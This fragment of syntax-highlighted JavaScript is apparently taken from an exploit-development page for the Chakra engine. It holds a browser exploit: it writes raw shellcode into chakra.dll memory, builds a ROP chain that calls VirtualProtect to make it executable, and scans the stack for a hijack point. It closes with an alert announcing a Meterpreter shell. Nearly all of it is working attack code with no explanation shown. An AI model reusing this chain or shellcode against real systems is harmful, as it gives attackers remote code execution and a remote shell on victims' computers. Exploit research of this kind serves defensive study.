	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485a00</span><span class="p">,</span> <span class="mh">0xc0c749c1</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000001bb</span><span class="p">,</span> <span class="mh">0x53c9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53036a53</span><span class="p">,</span> <span class="mh">0x8957ba49</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0000c69f</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000023e8</span><span class="p">,</span> <span class="mh">0x2d652f00</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x65503754</span><span class="p">,</span> <span class="mh">0x516f3242</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58643452</span><span class="p">,</span> <span class="mh">0x6b47336c</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x67377674</span><span class="p">,</span> <span class="mh">0x4d576c79</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x3764757a</span><span class="p">,</span> <span class="mh">0x0078466a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53c18948</span><span class="p">,</span> <span class="mh">0x4d58415a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4853c931</span><span class="p">,</span> <span class="mh">0x280200b8</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000084</span><span class="p">,</span> <span class="mh">0x53535000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xebc2c749</span><span class="p">,</span> <span class="mh">0xff3b2e55</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc68948d5</span><span class="p">,</span> <span class="mh">0x535f0a6a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf189485a</span><span class="p">,</span> <span class="mh">0x4dc9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5353c931</span><span class="p">,</span> <span class="mh">0x2dc2c749</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff7b1806</span><span class="p">,</span> <span class="mh">0x75c085d5</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc1c7481f</span><span class="p">,</span> <span class="mh">0x00001388</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf044ba49</span><span class="p">,</span> <span class="mh">0x0000e035</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">,</span> <span class="mh">0x74cfff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe8cceb02</span><span class="p">,</span> <span class="mh">0x00000055</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x406a5953</span><span class="p">,</span> <span class="mh">0xd189495a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4910e2c1</span><span class="p">,</span> <span class="mh">0x1000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba490000</span><span class="p">,</span> <span class="mh">0xe553a458</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x9348d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485353</span><span class="p">,</span> <span class="mh">0xf18948e7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x49da8948</span><span class="p">,</span> <span class="mh">0x2000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89490000</span><span class="p">,</span> <span class="mh">0x12ba49f9</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00e28996</span><span class="p">,</span> <span class="mh">0xff000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc48348d5</span><span class="p">,</span> <span class="mh">0x74c08520</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x078b66b2</span><span class="p">,</span> <span class="mh">0x85c30148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58d275c0</span><span class="p">,</span> <span class="mh">0x006a58c3</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc2c74959</span><span class="p">,</span> <span class="mh">0x56a2b5f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0000d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>

	<span class="c1">// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain</span>
	<span class="nx">countMe</span> <span class="o">+=</span> <span class="mh">0x50</span><span class="p">;</span>

	<span class="c1">// Store where our ROP chain begins</span>
	<span class="nx">ropBegin</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

	<span class="c1">// VirtualProtect() ROP chain (will be called in the JIT process)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e030</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// PDWORD lpflOldProtect (any writable address -&gt; Eventually placed in R9)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// Store the current offset within the .data section into a var</span>
    <span class="nx">ropoffsetOne</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// SIZE_T dwSize (0x1000)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000040</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// DWORD flNewProtect (PAGE_EXECUTE_READWRITE)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x61700</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span>  <span class="c1">// KERNELBASE!VirtualProtect</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x118b9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800118b9: add rsp, 0x18 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c1b65</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1804c1b65: pop rdi ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// Store the current offset within the .data section into a var</span>
    <span class="nx">ropoffsetTwo</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// Will be updated with the VirtualAllocEx allocation (our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1ef039</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1801ef039: push rdi ; ret (Return into our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// We can reliably traverse the stack 0x6000 bytes</span>
    <span class="c1">// Scan the stack for the return address below</span>
    <span class="cm">/*
    0:020&gt; u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */</span>

    <span class="c1">// Creating an array to store the return address because read64() returns an array of 2 32-bit values</span>
    <span class="kd">var</span> <span class="nx">returnAddress</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0xd4a73</span><span class="p">;</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

	<span class="c1">// Counter variable</span>
	<span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mh">0x6000</span><span class="p">;</span>

	<span class="c1">// Loop</span>
	<span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	    <span class="c1">// Store the contents of the stack</span>
	    <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

	    <span class="c1">// Did we find our target return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
			<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found our return address on the stack!</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target stack address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">));</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// Break the loop</span>
            <span class="k">break</span><span class="p">;</span>

        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
        	<span class="c1">// Decrement the counter</span>
	    	<span class="c1">// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit</span>
	    	<span class="nx">counter</span> <span class="o">-=</span> <span class="mh">0x8</span><span class="p">;</span>
        <span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// Confirm exploit </span>
	<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Press OK to enjoy the Meterpreter shell :)</span><span class="dl">"</span><span class="p">);</span>

